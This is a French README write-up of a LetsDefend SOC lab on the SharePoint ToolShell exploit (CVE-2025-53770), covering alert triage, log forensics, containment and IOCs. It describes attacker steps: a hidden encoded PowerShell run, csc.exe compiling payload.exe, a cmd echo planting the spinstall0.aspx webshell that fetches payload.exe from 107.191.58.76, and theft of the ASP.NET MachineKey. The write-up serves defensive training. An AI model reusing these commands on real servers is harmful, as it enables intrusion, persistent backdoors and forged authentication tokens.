
Analyse pas à pas d'un laboratoire LetsDefend SOC342 analysant CVE-2025-53770 SharePoint ToolShell bypass d'authentification et RCE, incluant la chaîne d'attaque, l'analyse forensique et les actions de confinement.
J'ai investigué un zero-day SharePoint appelé ToolShell (CVE-2025-53770) dans le cyber lab LetsDefend.
L'exercice simulait une attaque RCE zero-day réelle où une requête POST malveillante contournait l'authentification, exécutait PowerShell pour voler les clés MachineKeySection, compilait payload.exe et déposait un webshell malveillant (spinstall0.aspx).
Ce README documente le processus d'attaque, les étapes forensiques, les actions de confinement et les leçons apprises.
| Champ | Détails |
|---|---|
| Plateforme | Cyber Range LetsDefend |
| Cible | Serveur SharePoint (SharePoint01) |
| CVE | CVE-2025-53770 |
| Objectif | Analyser RCE, pratiquer la détection et le confinement |
| Outils utilisés | Windows PowerShell, VirusTotal, AbuseIPDB, Talosintelligence, Gestion des journaux LetsDefend, Sécurité des endpoints LetsDefend, Décodeur Base64, Threat Intel LetsDefend |
Une alerte critique a signalé une activité suspecte ciblant ToolPane.aspx dans SharePoint avec une charge utile importante et un Referer falsifié.
Cela correspond à CVE-2025-53770, une vulnérabilité zero-day permettant une RCE non authentifiée via des requêtes POST conçues.

Ce que c'est : Le niveau de sévérité attribué à cette alerte — le plus élevé et le plus urgent.
Pourquoi c'est important : Indique que cet événement pourrait entraîner une compromission totale du système (RCE). À traiter comme priorité absolue : isoler et investiguer immédiatement.
Ce que c'est : L'horodatage du déclenchement de l'alerte.
Pourquoi c'est important : Utilisez-le pour localiser les journaux, corréler les événements connexes et construire une chronologie (recherchez ± quelques minutes ou heures).
Ce que c'est : La règle ou signature de détection qui s'est déclenchée, décrivant la condition correspondante (tentative d'exploitation de ToolShell).
Pourquoi c'est important : Identifie quel type d'attaque a été détecté — utile pour rechercher des cas similaires (par ex., POST non authentifiés vers des pages d'administration ou téléchargements potentiels de webshells).
Ce que c'est : Identifiant numérique pour cette instance d'alerte ou cette règle spécifique (défini par le fournisseur).
Pourquoi c'est important : Aide au suivi, au filtrage et au référencement de cette alerte dans les tickets ou rapports.
Ce que c'est : Classification de haut niveau — cette alerte cible l'infrastructure web.
Pourquoi c'est important : Achemine l'incident vers l'équipe web/SharePoint/infrastructure et applique des procédures spécifiques au web.
Ce que c'est : Rôle d'analyste ou niveau d'escalade attendu pour traiter l'alerte.
Pourquoi c'est important : Indique qu'il ne s'agit pas d'une alerte de niveau 1 — nécessite un Analyste en Sécurité (répondant expérimenté) pour une action immédiate.
Ce que c'est : Nom de l'hôte affecté (cible ou origine de l'activité).
Pourquoi c'est important : C'est la cible de confinement principale — isolez, collectez les preuves et surveillez ce système en premier.
Ce que c'est : L'IP envoyant la requête suspecte (attaquant ou proxy).
Pourquoi c'est important : Bloquez-la au niveau du pare-feu/WAF, recherchez d'autres hits provenant de celle-ci, et vérifiez les informations de propriété/géo. Note : les IP peuvent être usurpées ou faire partie de botnets.
Ce que c'est : L'IP cible interne (SharePoint01).
Pourquoi c'est important : Confirme quel système interne a été ciblé — faites correspondre au nom d'hôte et examinez les chemins d'accès internes/règles de pare-feu.
Ce que c'est : Le verbe HTTP utilisé — le client a envoyé des données au serveur.
Pourquoi c'est important : Les POST vers des endpoints d'administration sont suspects lorsqu'ils sont non authentifiés ou de grande taille — ils peuvent transporter des charges utiles d'exploit ou des webshells.
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Ce que c'est : Le chemin web exact ciblé et les paramètres.
Pourquoi c'est important : C'est un endpoint d'administration/layouts SharePoint — souvent abusé par les attaquants pour un contournement d'authentification ou des téléchargements de code. Recherchez d'autres requêtes vers le même chemin.
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Ce que c'est : La chaîne de navigateur signalée par le client.
Pourquoi c'est important : Souvent usurpée par les attaquants pour paraître légitime — peut aider à filtrer les journaux, mais ne vous fiez pas à cela pour l'attribution.
/_layouts/SignOut.aspx
Ce que c'est : L'en-tête HTTP prétendant que la requête provenait de la page de déconnexion de SharePoint.
Pourquoi c'est important : Les referers usurpés sont suspects — peuvent être utilisés pour contourner les vérifications ou imiter le trafic normal. Comparez avec les flux de navigation légitimes.
7699Ce que c'est : Taille du corps de la requête HTTP (en octets).
Pourquoi c'est important : Un corps POST volumineux vers un endpoint d'administration suggère un exploit sérialisé ou un téléchargement de fichier. Recherchez d'autres POST de taille similaire vers la même URL.
Texte : Requête POST non authentifiée suspecte ciblant ToolPane.aspx avec une charge utile de grande taille et un referer usurpé — indicatif de l'exploitation de CVE-2025-53770.
Ce que c'est : Explication de la règle résumant le comportement correspondant.
Pourquoi c'est important : Décrit exactement pourquoi l'alerte s'est déclenchée — vérifiez si la requête était non authentifiée, quelle charge utile a été envoyée et si elle correspond aux schémas d'exploitation connus.
Ce que c'est : Indique la réponse de l'appareil de protection (par ex., WAF/pare-feu).
Pourquoi c'est important : Puisque c'était autorisé, l'attaque a atteint l'hôte — considérez comme une compromission potentielle.
Actions immédiates :
107.191.58.76)SharePoint01)🔎 Résumé :
Cette alerte reflète une tentative d'exploitation non authentifiée exploitant ToolPane.aspx (SharePoint RCE CVE-2025-53770). La requête POST contenait une charge utile volumineuse et un referer usurpé, cohérent avec le comportement d'exploitation zero-day de ToolShell. Étant donné que l'appareil a autorisé la requête, supposez une compromission possible jusqu'à preuve du contraire. 🟥 Sévérité : Critique
Recherchez dans les journaux IIS/WAF les POST vers ToolPane.aspx (vers 2025-07-22 13:07) :
Select-String -Path "C:\inetpub\logs\LogFiles\**\*.log" -Pattern "/_layouts/15/ToolPane.aspx" | Out-File .\IIS_ToolPane_hits.txt
Récupérez le corps POST complet depuis le WAF/proxy ou la capture de paquets et sauvegardez-le dans un partage forensique.
Recherchez les nouveaux ASPX modifiés dans la racine web (webshells) :
Get-ChildItem "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\**\*.aspx" -Recurse | Sort LastWriteTime -Desc | Select FullName,LastWriteTime
Bloquez l'attaquant et isolez l'hôte : bloquez 107.191.58.76 au périmètre/WAF et déplacez SharePoint01 en quarantaine (ou restreignez le trafic sortant).
Ne supprimez pas les fichiers suspects — faites d'abord des copies forensiques.
Microsoft SharePoint est une plateforme de collaboration et de gestion de documents.
Elle offre le stockage sécurisé de fichiers, le contrôle de version et des portails intranet, intégrée à Active Directory, Teams, Outlook et Power BI.
Une RCE critique non authentifiée dans Microsoft SharePoint Server exploitant une désérialisation non sécurisée.
Les attaquants l'utilisent pour :
🧮 Score CVSS : 9.8 (Critique)
📡 Exploitation : Active dans la nature
IP source : 107.191.58.76
🧩 Résultat : 15/95 fournisseurs de sécurité l'ont signalé comme malveillant.

Vérifié via AbuseIPDB — IP liée à :

Vérifié via Talos Intelligence — Caractéristiques de l'IP/sous-réseau :
*.vultrusercontent.com
Localisé l'hôte SharePoint01 dans la sécurité des endpoints.
Examiné l'historique du terminal pour les commandes suspectes.

Ce journal montre qu'à 13:07:11, un processus PowerShell s'est exécuté sous le pool d'applications SharePoint, exécutant une commande encodée en Base64. Le processus parent était services.exe, et l'attaque ciblait les répertoires SharePoint. C'est un indicateur clair d'exploitation de ToolShell et d'exécution de code à distance sur le serveur SharePoint.
-nop = -NoProfile : démarrer PowerShell sans charger le profil utilisateur (évite la détection basée sur le profil, démarre plus vite).-w hidden = -WindowStyle Hidden : exécuter sans afficher de fenêtre (furtif).-e = -EncodedCommand : la chaîne suivante est un contenu PowerShell encodé en Base64 (généralement UTF-16LE ou parfois UTF-8) — utilisé pour cacher le code d'une inspection occasionnelle et des journaux simples.<BASE64> : charge utile Base64 longue — une fois décodée, elle contient un script serveur ASPX (ressemble à un webshell) qui lit les valeurs MachineKey.

⚙️ Résumé du comportement
Cela indique un vol de MachineKey pour forger des tokens ViewState/auth — exploitation classique de ToolShell.

🧩 Résultat : L'attaquant a compilé payload.cs en payload.exe en utilisant le compilateur .NET intégré → probablement un logiciel malveillant.
Ce que cela fait littéralement (étape par étape) :
csc.exe → le compilateur C# fourni avec le .NET Framework./out:C:\Windows\Temp\payload.exe → indique au compilateur où enregistrer le programme compilé et quel nom lui donner (payload.exe).C:\Windows\Temp\payload.cs → le fichier source C# (code lisible par l'homme) que le compilateur transforme en un programme exécutable.Pourquoi c'est dangereux (explication pour débutants) :
.cs) en un exécutable (.exe) sur la machine victime.payload.exe) peut effectuer toutes les actions programmées par l'attaquant : ouvrir des connexions réseau, lancer des shells, installer une persistance ou voler des données.Comment l'attaquant l'a probablement utilisé dans la chaîne d'attaque :
payload.cs.payload.exe pour qu'il puisse s'exécuter comme un programme natif sur le serveur.Preuves à rechercher (quoi chercher dans les journaux/fichiers) :
csc.exe avec des arguments pointant vers payload.cs ou /out:C:\Windows\Temp\payload.exe.C:\Windows\Temp\payload.cs et C:\Windows\Temp\payload.exe (collectez des copies forensiques et calculez les hachages).w3wp.exe / powershell.exe / cmd.exe générant csc.exe.payload.exe s'il a été exécuté.Résumé en une ligne (pour README / ticket) :
L'attaquant a utilisé le compilateur C# .NET (csc.exe) pour compiler payload.cs en payload.exe sur l'hôte — créant un exécutable natif pour une activité malveillante ultérieure.

🧩 Résultat : Créé spinstall0.aspx dans le répertoire LAYOUTS de SharePoint → backdoor accessible via le web.
Ce que cela fait littéralement (étape par étape, en anglais simple) :
cmd.exe /c → démarre l'interpréteur de commandes Windows pour exécuter une seule commande puis quitte.echo <...> > "...\spinstall0.aspx" → imprime le texte HTML/ASPX fourni et l'écrit dans le fichier spinstall0.aspx (l'opérateur > crée ou écrase le fichier).runat="server" → rend le fichier ASPX côté serveur, donc IIS/SharePoint l'exécute dans le processus d'application web plutôt que de le servir comme texte statique.<object> contient Url="http://107.191.58.76/payload.exe" → ordonne à la page (ou au serveur lorsqu'elle est exécutée) de récupérer le payload.exe de l'attaquant depuis l'hôte distant.Pourquoi c'est dangereux (explication pour débutants) :
Comment l'attaquant l'a probablement utilisé dans la chaîne d'attaque :
spinstall0.aspx dans le dossier LAYOUTS de SharePoint.payload.exe depuis l'hôte de l'attaquant.Preuves à rechercher (quoi chercher dans les journaux/fichiers) :
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx — collectez une copie forensique et calculez SHA256.cmd.exe écrivant vers ce chemin.spinstall0.aspx ou des requêtes sortantes vers http://107.191.58.76/payload.exe.spinstall0.aspx (indiquant le téléchargement/exécution de la charge utile).Résumé en une ligne (pour README / ticket) :
L'attaquant a créé un webshell ASPX côté serveur (spinstall0.aspx) dans le dossier LAYOUTS de SharePoint qui ordonne au serveur de récupérer/exécuter payload.exe depuis l'infrastructure de l'attaquant — backdoor distante persistante.

🧩 Résultat : A exécuté PowerShell pour lire et exfiltrer la configuration MachineKey — précondition directe pour RCE.
Ce que cela fait littéralement (étape par étape) :
powershell.exe → le shell de script Windows.-Command dit à PowerShell d'exécuter l'expression suivante.[System.Web.Configuration.MachineKeySection]::GetApplicationConfig() appelle .NET pour récupérer l'objet de configuration machineKey ASP.NET (inclut ValidationKey, DecryptionKey et les paramètres associés).Pourquoi c'est dangereux (explication pour débutants) :
machineKey contient les secrets qu'ASP.NET utilise pour :
ViewState et les cookies d'authentification de formulaires.ValidationKey/DecryptionKey, il peut :
ViewState signés ou des cookies d'authentification, ou déchiffrer des jetons.Comment l'attaquant l'a probablement utilisé dans la chaîne d'attaque :
ToolPane.aspx pour exécuter du code dans le processus de l'application SharePoint.ValidationKey / DecryptionKey.ViewState malveillant) ou des cookies d'authentification valides pour escalader l'accès.Preuves à rechercher (quoi chercher dans les journaux/fichiers) :
powershell.exe avec GetApplicationConfig ou MachineKeySection dans la ligne de commande.ValidationKey / DecryptionKey).MachineKeySection / GetApplicationConfig.IIS APPPOOL\SharePoint) aux mêmes horodatages.Résumé en une ligne (pour README / ticket) :
L'attaquant a exécuté PowerShell pour appeler System.Web.Configuration.MachineKeySection::GetApplicationConfig() — tentant d'exfiltrer le machineKey ASP.NET (ValidationKey/DecryptionKey), permettant la falsification de jetons et le contournement d'authentification.
Source : LetsDefend Threat Intel (interrogé par IP 107.191.58.76)
Referer: /_layouts/SignOut.aspx observé.
VictorDétection de l'exploitation zero‑day de ToolShell (CVE‑2025‑53770) contre SharePoint sur site (SharePoint01). L'attaquant (IP 107.191.58.76) a contourné l'authentification et effectué plusieurs actions post‑exploitation :
spinstall0.aspx (web shell) dans le répertoire LAYOUTS de SharePoint.payload.exe à l'aide du compilateur .NET C#.

Conclusion : Compromission confirmée — déploiement de web shell, exfiltration de clés et compilation de charge utile sur l'hôte.
SharePoint01 (VLAN de quarantaine) ou bloquez les IP de l'attaquant au périmètre/WAF/pare-feu.spinstall*.aspx, payload.exe (par nom/hash) et l'utilisation de GetApplicationConfig/MachineKeySection.spinstall0.aspx, les tâches planifiées/services non autorisés et tout malware détecté (après avoir collecté des copies forensiques).machineKey ASP.NET (en coordination avec les propriétaires d'applications) et appliquez les correctifs d'urgence de juillet 2025 de Microsoft à toutes les instances SharePoint sur site.-EncodedCommand / -e) sur les serveurs web.csc.exe compilant du code dans C:\Windows\Temp sur les hôtes web.csc.exe, cmd.exe, powershell.exe) sont fréquemment abusés après exploitation ; surveillez leur utilisation inattendue sur les serveurs web.SharePoint01 et bloquez 107.191.58.76.spinstall0.aspx, payload.cs, payload.exe (préservez les horodatages).w3wp.exe / payload.exe pour analyse.machineKey et les identifiants affectés après la collecte de preuves.| Type | Indicateur | Description |
|---|
| IP | 107.191.58.76 | IP source de l'attaquant envoyant le POST d'exploitation |
| URL | /_layouts/15/ToolPane.aspx?DisplayMode=Edit | Point de terminaison d'exploitation |
| Fichier | spinstall0.aspx | Web shell ASPX malveillant déployé |
| Chaîne | MachineKeySection | Preuve de tentative d'exfiltration de machineKey |
POST volumineux non authentifiés vers ToolPane.aspx via les règles WAF.